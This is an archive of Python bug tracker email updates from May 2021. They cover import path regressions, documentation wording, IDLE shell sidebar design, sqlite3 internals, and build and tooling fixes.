<1620419353.48.0.292403388851.issue44070@roundup.psfhosted.org> Steve Dower added the comment: It's almost certainly due to that change, though I'd be interested to see a more realistic repro. For the repro shown, you really ought to be clearing the importer cache as well when you remove a search path (as implied by chdir with a relative path on sys.path) and delete from sys.modules. The new abspath is only applied to the full path to the module, so the cache is still for the module, and not for the sys.path entry. What's the actual scenario that this broke? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:40:18 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 07 May 2021 20:40:18 +0000 Subject: [issue44063] compiler: does not revert back the end_* locations In-Reply-To: <1620329653.84.0.738145818276.issue44063@roundup.psfhosted.org> Message-ID: <1620420018.46.0.489269493813.issue44063@roundup.psfhosted.org> Batuhan Taskaya added the comment: New changeset 13de28f17af02563cb8c6d0f6da3c178a4241ff3 by Miss Islington (bot) in branch '3.10': bpo-44063: set the missing end locations on the compiler (GH-25956) (#25972) https://github.com/python/cpython/commit/13de28f17af02563cb8c6d0f6da3c178a4241ff3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:40:57 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 07 May 2021 20:40:57 +0000 Subject: [issue44063] compiler: does not revert back the end_* locations In-Reply-To: <1620329653.84.0.738145818276.issue44063@roundup.psfhosted.org> Message-ID: <1620420057.1.0.435158325181.issue44063@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:44:44 2021 From: report at bugs.python.org (Sergey Maslyakov) Date: Fri, 07 May 2021 20:44:44 +0000 Subject: [issue44071] Syntax error in Python3 documentation Message-ID: <1620420284.18.0.966368457696.issue44071@roundup.psfhosted.org> New submission from Sergey Maslyakov : https://docs.python.org/3/library/subprocess.html#subprocess.check_output The code sample seems to have a misplaced closing round bracket. It should go after "stdout" ``` run(..., check=True, stdout=PIPE).stdout ``` ---------- assignee: docs at python components: Documentation messages: 393222 nosy: docs at python, evolvah priority: normal severity: normal status: open title: Syntax error in Python3 documentation versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:52:31 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 07 May 2021 20:52:31 +0000 Subject: [issue44071] Syntax error in Python3 documentation In-Reply-To: <1620420284.18.0.966368457696.issue44071@roundup.psfhosted.org> Message-ID: <1620420751.94.0.163694202358.issue44071@roundup.psfhosted.org> Dennis Sweeney added the comment: I think the docs are correct. For example: >>> import subprocess >>> subprocess.run("ls", check=True, stdout=subprocess.PIPE).stdout >>> subprocess.check_output("ls") ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 16:57:28 2021 From: report at bugs.python.org (Sergey Maslyakov) Date: Fri, 07 May 2021 20:57:28 +0000 Subject: [issue44071] Syntax error in Python3 documentation In-Reply-To: <1620420284.18.0.966368457696.issue44071@roundup.psfhosted.org> Message-ID: <1620421048.55.0.0291172620081.issue44071@roundup.psfhosted.org> Sergey Maslyakov added the comment: Thank you, Dennis! I was wrong. Closing the ticket. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 17:13:39 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 May 2021 21:13:39 +0000 Subject: [issue44058] 'master' refs in 3.10 version of .azure-pipelines In-Reply-To: <1620310215.23.0.147753243163.issue44058@roundup.psfhosted.org> Message-ID: <1620422019.13.0.553890170486.issue44058@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Should these references to "master" be changed to "main"? We could, but won't change anything IIUC as the string that triggers the build on main is the one placed in the files on the "main" branch. The important thing in the 3.10 branch is that it has 3.10 there. Being said that I may be missing something so maybe the best thing is to change that :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 17:17:34 2021 From: report at bugs.python.org (Skip Montanaro) Date: Fri, 07 May 2021 21:17:34 +0000 Subject: [issue44058] 'master' refs in 3.10 version of .azure-pipelines In-Reply-To: <1620310215.23.0.147753243163.issue44058@roundup.psfhosted.org> Message-ID: <1620422254.42.0.342077950428.issue44058@roundup.psfhosted.org> Skip Montanaro added the comment: Perhaps I should point out that this doesn't matter to me. I just noticed the old name. I can't claim anything is broken that I need. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 18:06:06 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Fri, 07 May 2021 22:06:06 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620425166.83.0.411054490964.issue44045@roundup.psfhosted.org> J?rgen Gmach added the comment: I did some more research. It looks like US English tends to use `lowercase`, while British English tends to `lower case`, and as an alternative to `lowercase` you can also use `lower-case` when using it as an adjective. See also https://en.wiktionary.org/wiki/lowercase So, to wrap up: - you could use lowercase and uppercase as a noun, as an adjective and as a verb - you can use lower case and upper case only as a noun - you can use lower-case and upper-case only as an adjective If that is true - I am no native English speaker, and ?ric does not like to convert them all to single words, it gets a bit tougher. Some - to me - obvious wrong usages would be: "All IMAP4rev1 commands are supported by methods of the same name (in lower-case)." => in lower case or in lowercase "All POP3 commands are represented by methods of the same name, in lower-case; most return the response text sent by the server." => in lower case or in lowercase "Wrapper around a file that converts output to upper-case." => to upper case or to uppercase "Return a new UUID, in the format that MSI typically requires (i.e. in curly braces, and with all hexdigits in upper-case)." => in upper case or in uppercase "Hostnames are compared lower case." => lower-case or lowercase ?ric, are you ok with my suggested changes or do you want me to close the issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 18:06:34 2021 From: report at bugs.python.org (James Saryerwinnie) Date: Fri, 07 May 2021 22:06:34 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620425194.33.0.138766845916.issue44070@roundup.psfhosted.org> James Saryerwinnie added the comment: > What's the actual scenario that this broke? I only noticed this because a project that I work on (https://github.com/aws/chalice/) started failing CI for seemingly unrelated changes. A specific test run is here: https://github.com/jamesls/chalice/runs/2529906754. This didn't actually break the framework itself, just the tests for the framework. Chalice imports your application to figure out what resources to deploy to AWS, so the functional tests need to setup/teardown misc. applications and re-import them fresh for each test. Turns out the GitHub action I was using switched their Python 3.8 from 3.8.9 to 3.8.10 so I started looking into why this failed. My takeaway from this is to stop using relative imports in sys.path (I don't recall us having a specific reason to do this other than it worked). I figured I'd file an issue as I'm not actually sure if this consequence was intentional (I only saw bpo-43105 mentioned in the changelog), and was surprised this behavior changed in a patch release. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 18:18:32 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 07 May 2021 22:18:32 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620425912.67.0.848148297683.issue44045@roundup.psfhosted.org> Eric V. Smith added the comment: That's exactly the kind of manual check I had in mind. After all "anal retentive doesn't have a hyphen unless it's used as a compound adjective". I think we should go with "lowercase" when a noun, and "lower-case" as an adjective. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 18:41:45 2021 From: report at bugs.python.org (Andy Fiddaman) Date: Fri, 07 May 2021 22:41:45 +0000 Subject: [issue44070] Regression with relative paths in sys.path in python 3.8.10 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620427305.67.0.0305361166106.issue44070@roundup.psfhosted.org> Andy Fiddaman added the comment: I've just found this while investigating a regression with my project following update to 3.9.5. It took me some time to discover that the new test failures were due to __file__ now being fully qualified when it wasn't before. As far as I can tell so far it is just breaking the tests, not the software (https://github.com/omniosorg/pkg5) but this doesn't feel like a change that should be made in a minor release. ---------- nosy: +omnios _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 19:52:11 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 23:52:11 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620431531.84.0.679440714781.issue44026@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24629 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25973 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 19:52:07 2021 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 May 2021 23:52:07 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620431527.79.0.22155657049.issue44070@roundup.psfhosted.org> Steve Dower added the comment: Yeah, you're probably right. That effect was not noticed when implementing it. We should update the fix in 3.9 and 3.8 to limit it to .pyd's on Windows to protect against the security risks, but leave other import types loaded with relative paths. I think it's fine to leave the resolution in 3.10, as it's closer to the intended behaviour. I also don't think that fixing this justifies an extra maintenance release of 3.8, which is now in security-fix only mode, but I'll leave that decision to the RM. ---------- keywords: -3.10regression nosy: +lukasz.langa title: Regression with relative paths in sys.path in python 3.8.10 -> __file__ is now fully qualified in 3.8 and 3.9 versions: -Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 20:23:37 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 08 May 2021 00:23:37 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620433417.73.0.661132091717.issue42725@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- pull_requests: +24630 pull_request: https://github.com/python/cpython/pull/25974 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 20:33:41 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 May 2021 00:33:41 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620434021.09.0.990946455355.issue44026@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +24631 pull_request: https://github.com/python/cpython/pull/25975 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 20:35:32 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 May 2021 00:35:32 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620434132.21.0.961170153936.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 5a5237c6d08ed97458b0903d6836624168df0b51 by Miss Islington (bot) in branch '3.10': bpo-44026: Idle - display interpreter's 'did you mean' hints (GH-25912) https://github.com/python/cpython/commit/5a5237c6d08ed97458b0903d6836624168df0b51 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 21:00:05 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 May 2021 01:00:05 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620435605.59.0.127072592065.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: Merged to 3.11.0a0 first, bot forget to post it. Dennis, thank you for the analysis and then the suggestion as to how to access the not directly accessible. It would likely have been awhile before I stumbled from 'cannot' to 'can with workaround'. Feel free to add ideas on other IDLE issues. Thanks EP for making the fix work even with chained exceptions *and* for providing tests. I redid half the lines, but core test logic was correct and remains. In .0b1+ repository (and future .0b2 release) IDLE: >>> try: abc ... except NameError: f"{complex.reel(1+1j)} errors occurred!" ... Traceback (most recent call last): File "", line 1, in try: abc NameError: name 'abc' is not defined. Did you mean: 'abs'? During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 2, in except NameError: f"{complex.reel(1+1j)} errors occurred!" AttributeError: type object 'complex' has no attribute 'reel'. Did you mean: 'real'? And thank you Pablo for making exception messages more helpful. ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 21:00:19 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 May 2021 01:00:19 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620435619.43.0.751592402693.issue44026@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 23:14:09 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 08 May 2021 03:14:09 +0000 Subject: [issue44023] "tarfile" library will lead to "write any content to any file on the host". In-Reply-To: <1620063843.8.0.514260137969.issue44023@roundup.psfhosted.org> Message-ID: <1620443649.95.0.346764753546.issue44023@roundup.psfhosted.org> Gregory P. Smith added the comment: TL;DR - A tar file being extracted doesn't check to see if it is overwriting an existing file, which could be a symlink to elsewhere leading to elsewhere's contents being clobbered assuming the elsewhere file exists. doing an unlink before opening the destination file (ignoring either success or FileNotFound) during extract would avoid this _specific_ case. But tarfile is already documented with a warning about untrusted inputs being able to do bad things: https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall fixing this one serialized case doesn't do anything about other cases or race conditions we won't claim protection against, so I'm not sure this issue is serious from a stdlib perspective. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 23:24:44 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Sat, 08 May 2021 03:24:44 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620444284.04.0.424951750644.issue16866@roundup.psfhosted.org> Senthil Kumaran added the comment: Looks like the BINDIR dependency was added here - https://github.com/python/cpython/commit/49fd7fa4431da299196d74087df4a04f99f9c46f#diff-1f0a8db227d22005511b0d90f5339b97db345917b863954b3b3ccb9ec308767cR833 but we didn't add the directory creation dependency then. A simple fix of add BINDIR as dependency seems _OK_ to me. At least it wont break the libainstall standalone target. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 23:25:56 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Sat, 08 May 2021 03:25:56 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620444356.96.0.113866768397.issue16866@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24632 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25980 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 00:39:16 2021 From: report at bugs.python.org (guangli dong) Date: Sat, 08 May 2021 04:39:16 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620448756.62.0.124977417011.issue44022@roundup.psfhosted.org> guangli dong added the comment: i am intersting in "stdlib security", do you has any recommended info about this topic? what i know is "https://python-security.readthedocs.io" and "cve list". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 00:56:51 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 08 May 2021 04:56:51 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620449811.51.0.484588327907.issue37903@roundup.psfhosted.org> Raymond Hettinger added the comment: Rather than request a specific solution, I'll state what new problems need to be solved. For teaching purposes in live demos, it is essential to have a clear visual distinction between the inputs and outputs: >>> beatles = ['john', 'paul', 'ringo', 'george'] >>> [name.capitalize() for name in beatles] ['John', 'Paul', 'Ringo', 'George'] >>> [name for name in beatles if 'n' in name] ['john', 'ringo'] This doesn't work nearly as well: beatles = ['john', 'paul', 'ringo', 'george'] [name.capitalize() for name in beatles] ['John', 'Paul', 'Ringo', 'George'] [name for name in beatles if 'n' in name] ['john', 'ringo'] With the sidebar, the ps1 prompt helps a little, but gray separator bar visually runs the input and output text together and even causes consecutive inputs to visually be merged. The strongest separator, the unindent, has been lost. >>>|beatles = ['john', 'paul', 'ringo', 'george'] |[name.capitalize() for name in beatles] >>>|['John', 'Paul', 'Ringo', 'George'] |[name for name in beatles if 'n' in name] >>>|['john', 'ringo'] I believe that if you consult a trained graphic designer (i.e. one who can name the 7 elements of graphic design and describe how they are used), they will confirm that the new display is problematic. To make data groups (inputs and outputs) visually distinct, we can change alignment, change vertical spacing, remove strong vertical lines, change color, etc.). But if you align the text and run a vertical line separating it from the PS1 prompt, then the distinction is blurred. At least this is what I was taught in graphic design courses. Almost the entire purpose of graphic design in an IDE is to help the eye either group together like pieces of information or to help the eye create distinctions between dissimilar things. We give elements the same color if they are related and different colors if unrelated. We bring like information together by placing it close together or by giving it the same alignment. We push things apart and disconnect them by drawing a separator line (in the case at hand, the ps1 prompts are clipped-off in a separate window from the text they were intended to annotate). If we have to keep the sidebar, some vertical separation would help (as it does in ipython): >>>|beatles = ['john', 'paul', 'ringo', 'george'] |[name.capitalize() for name in beatles] | >>>|['John', 'Paul', 'Ringo', 'George'] |[name for name in beatles if 'n' in name] | >>>|['john', 'ringo'] | This added spacing would help separate consecutive statements but would cost eating up valuable vertical space and would not help with visually distinguishing the input from the output. You could take out the vertical line and get an improvement: >>> beatles = ['john', 'paul', 'ringo', 'george'] [name.capitalize() for name in beatles] >>> ['John', 'Paul', 'Ringo', 'George'] [name for name in beatles if 'n' in name] >>> ['john', 'ringo'] This is better, but could be improved by unindenting to distinguish the inputs and outputs, which just about takes us back to where we started from (not just in IDLE, but what you see in books, presentations, and blog posts): >>> beatles = ['john', 'paul', 'ringo', 'george'] >>> [name.capitalize() for name in beatles] ['John', 'Paul', 'Ringo', 'George'] >>> [name for name in beatles if 'n' in name] ['john', 'ringo'] Another desirable feature is the ability to cut and paste snippets into docstrings. This is essential not just for doctest, but even for untested examples in docstrings. Those examples, need to be recognizable to humans as interactive sessions with outputs clearly distinguished from inputs. When I tried out the new sidebar in prep for a class, it was impossible to include the ps1 prompts in a cut and paste selection. They had to be manually typed back in. Lastly, for live demos in presentations, it is desirable to have a clear screen, free of distracting artifacts. The sidebar is such an artifact -- you would never see such a thing in a book or slide presentation. Also, for live demos, large fonts are necessary which means that screen space is at a premium and the loss of horizontal space matters. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 01:45:54 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 May 2021 05:45:54 +0000 Subject: [issue44028] Request for locals().update() to work, it is In-Reply-To: <1620104716.88.0.704120170613.issue44028@roundup.psfhosted.org> Message-ID: <1620452754.96.0.826429194268.issue44028@roundup.psfhosted.org> Terry J. Reedy added the comment: When quoting, please include the source, preferably a direct link. In Python 1 and 2, there were two function local namespace *implementations* -- array index by number or dictionary indexed by name. The implementation, and hence the lookup mode, was fixed at compile time. In Python 3, the one *implementation*, and its lookup mode, are fixed. The slower implementation was dropped because it was not thought worth the bother. When you invoke the save function while playing a game, I am imagine that the save function does not have access to and does not same the locals of whatever function was executing at the time you hit the save key. Rather a game and player states are serialized, and likely not in one line of code. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 02:39:25 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 06:39:25 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620455965.38.0.999049152609.issue16866@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24633 pull_request: https://github.com/python/cpython/pull/25982 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 02:39:35 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 06:39:35 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620455975.91.0.0739277706032.issue16866@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24634 pull_request: https://github.com/python/cpython/pull/25981 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 02:41:02 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Sat, 08 May 2021 06:41:02 +0000 Subject: [issue16866] libainstall doesn't create $(BINDIR) directory In-Reply-To: <1357357650.4.0.164255645189.issue16866@psf.upfronthosting.co.za> Message-ID: <1620456062.17.0.42271115894.issue16866@roundup.psfhosted.org> Senthil Kumaran added the comment: Fixed in 3.11 here - https://github.com/python/cpython/commit/80d250d68cf3bb511fd862169c681b28028499c2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 03:05:20 2021 From: report at bugs.python.org (Rory Yorke) Date: Sat, 08 May 2021 07:05:20 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral Message-ID: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> New submission from Rory Yorke : Checked at commit 42fcad2, HEAD of main circa 8 May 2021. cpython/Doc/library/numbers.rst says numbers.Complex subtypes "include the operations [...] ``+``, ``-``, ``*``, ``/``, :func:`abs`, :meth:`conjugate`, ``==``, and ``!=``" and for numbers.Integral: "Adds abstract methods for ``**`` and" However, in cpython/Lib/numbers.py, the class Complex has `__pow__` and `__rpow__` methods, which makes sense mathematically. The numbers.Class docstring is also missing a mention of `**`. class.Integral does define a three-argument __pow__ for three-argument pow(). ---------- assignee: docs at python components: Documentation messages: 393240 nosy: docs at python, roryyorke priority: normal severity: normal status: open title: Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 03:47:59 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 07:47:59 +0000 Subject: [issue44073] [sqlite3] drop statement in_use field in favour of sqlite3_stmt_busy() Message-ID: <1620460079.81.0.577574944672.issue44073@roundup.psfhosted.org> New submission from Erlend E. Aasland : sqlite3_stmt_busy() has been around since SQLite 3.7.10. I suggest to drop the in_use field of pysqlite_Statement in favour of sqlite3_stmt_busy(); we do not need to duplicate functionality already present in SQLite. There was a bugfix for sqlite3_stmt_busy() in SQLite 3.8.6 regarding rollback statements, but we normally reset all our statements after use, so it should not be a problem. There are some corner cases in _pysqlite_query_execute() where a sqlite3_stmt may not be reset upon return, but that's easily fixable (and it would be a nice side-effect). Pro's: - statement objects have one less member - no duplication of SQLite functionality - cleaner exit paths from _pysqlite_query_execute() - less lines of code, easier to maintain Con's: - the current code works / "code churn" ---------- assignee: erlendaasland components: Extension Modules keywords: easy (C) messages: 393241 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: normal severity: normal status: open title: [sqlite3] drop statement in_use field in favour of sqlite3_stmt_busy() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 03:48:44 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 07:48:44 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620460124.73.0.353694865488.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Hm, I guess we could use sqlite3_stmt_busy() instead of the in_use flag. I opened bpo-44073 for this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 03:56:38 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 07:56:38 +0000 Subject: [issue44073] [sqlite3] drop statement in_use field in favour of sqlite3_stmt_busy() In-Reply-To: <1620460079.81.0.577574944672.issue44073@roundup.psfhosted.org> Message-ID: <1620460598.55.0.556965524948.issue44073@roundup.psfhosted.org> Erlend E. Aasland added the comment: $ git diff --stat Modules/_sqlite/connection.c | 1 - Modules/_sqlite/cursor.c | 5 +---- Modules/_sqlite/statement.c | 14 +------------- Modules/_sqlite/statement.h | 2 -- 4 files changed, 2 insertions(+), 20 deletions(-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 04:03:49 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 08 May 2021 08:03:49 +0000 Subject: [issue31904] Python should support VxWorks RTOS In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za> Message-ID: <1620461029.63.0.814613456601.issue31904@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24635 pull_request: https://github.com/python/cpython/pull/25983 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 04:05:12 2021 From: report at bugs.python.org (Rory Yorke) Date: Sat, 08 May 2021 08:05:12 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" Message-ID: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> New submission from Rory Yorke : I'm probably missing something, but "master" seems hard-coded into patchcheck.py, and I couldn't find any related issues on bpo. Checked on branch off 42fcad2. When I ran patchcheck: rory at rory-latitude:~/src/cpython$ ./python Tools/scripts/patchcheck.py Getting base branch for PR ... origin/master Getting the list of files that have been added/changed ... fatal: ambiguous argument 'origin/master': unknown revision or path not in the working tree. Use '--' to separate paths from revisions, like this: 'git [...] -- [...]' 0 files The obvious offender is line 81 of Tools/scripts/patchcheck.py: base_branch = "master" Changing this to "main" results in useful output, but I imagine one would want to check for both "master" and "main" for a while yet? ---------- components: Demos and Tools messages: 393244 nosy: roryyorke priority: normal severity: normal status: open title: patchcheck checks against branch "master" not "main" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 04:09:44 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 May 2021 08:09:44 +0000 Subject: [issue44073] [sqlite3] drop statement in_use field in favour of sqlite3_stmt_busy() In-Reply-To: <1620460079.81.0.577574944672.issue44073@roundup.psfhosted.org> Message-ID: <1620461384.47.0.787861372834.issue44073@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +24636 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25984 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 8 04:54:05 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 May 2021 08:54:05 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620464045.17.0.101766874609.issue37903@roundup.psfhosted.org> Terry J. Reedy added the comment: Yes, lets discuss actual problems and various possible solutions. Raymond's example is incomplete as it omits multiline statements, which is where the real problems lie and the reason a fix was sorely needed. This has been more or less agreed on since at least 2005. Old: ------------------------------ >>> if a: print('okay:' else: if a is None: print('none:') else: print('else:') else: ------------------------------ Possible confusion between input and output is a pre-existing issue. For the default themes, Shell User Output has the same background color as Code or Normal Text. The foreground is blue. The lack of contrast is worse on the dark theme. I think using the same background was a mistake, but so far changing the default has been considered off limits. The pre-existing fix for distinguishing output is to customize colors for Shell User Output, as I have done. I have also given Shell User Exceptions more contrast. One can make both as different as one wants. In 2014, #7676, Raymond said that the indent mess was a "major PITA" and the impossibility of copy-pasting correctly indented code into an editor "has been a continual source of frustration for students in my Python courses as well. I'm looking forward to it being fixed." At the time, I had no more idea how to fix this than Kurt Kaiser did in the 2000s. But I eventually realized that the problem is entirely due to the first line of multiline statements being indented relative to following code lines, unlike the REPL. The fix (and the only acceptible fix) was and is to stop doing that. The day before the beta1 release*, Tal and I merged a beta-quality release that we said would need improvement before production release. ------------------------------ >>> if a: ... print('okay:' ... else: ... if a is None: ... print('none:') ... else: ... print('else:') ... else: ------------------------------ I am sure that a graphics designer would consider this improved. Unindented code now lines up, and the indents are that same as in any decent python-aware editor. In any case, the above is identical to the REPL except that in the REPL, the output starts at the left, under the prompts. If one selects the above lines, easily done by clicking and dragging on the sidebar, just as with line numbers, right clicks, and selects 'Copy with prompts' on the context menu, one gets the above *with* output 'else' to the left. IDLE is now as useful for interactive snippets as the REPL. This is mentioned in the IDLE What's New and News items. I can imagine a possible alternative fix that would put output under the prompts in Shell, not just in the clipboard copy. It would involve a fixed input prompt above the code entry area and side prompts in the history area. This would be a variation on the two-text solution that I discussed on #37892. As for copying code to paste into an editor: As I believe was mentioned above, we had 'Copy only code' on the context menus, but removed it because it also copied user input in response to user code prompts, which is currently tagged the same as code entered in response to the Shell's prompts. Fixing this will be a high priority issue. When it is, we will list both new option on the Shell menu. I will soon open another issue for the sidebar colors. I consider the current colors to be placeholders. We set that aside to get the sidebar otherwise ready. Some might prefer a background matching the general shell background so that there is no vertical separation. * Not by choice. We were delayed 6 months because Azure Pipelines, on Ubuntu and Windows, changes the test environment by grabbing sys.stdout. Shell receives input on sys.stdout. So when test code sent text to shell via sys.stdout, it went to Pipelines instead of Shell, 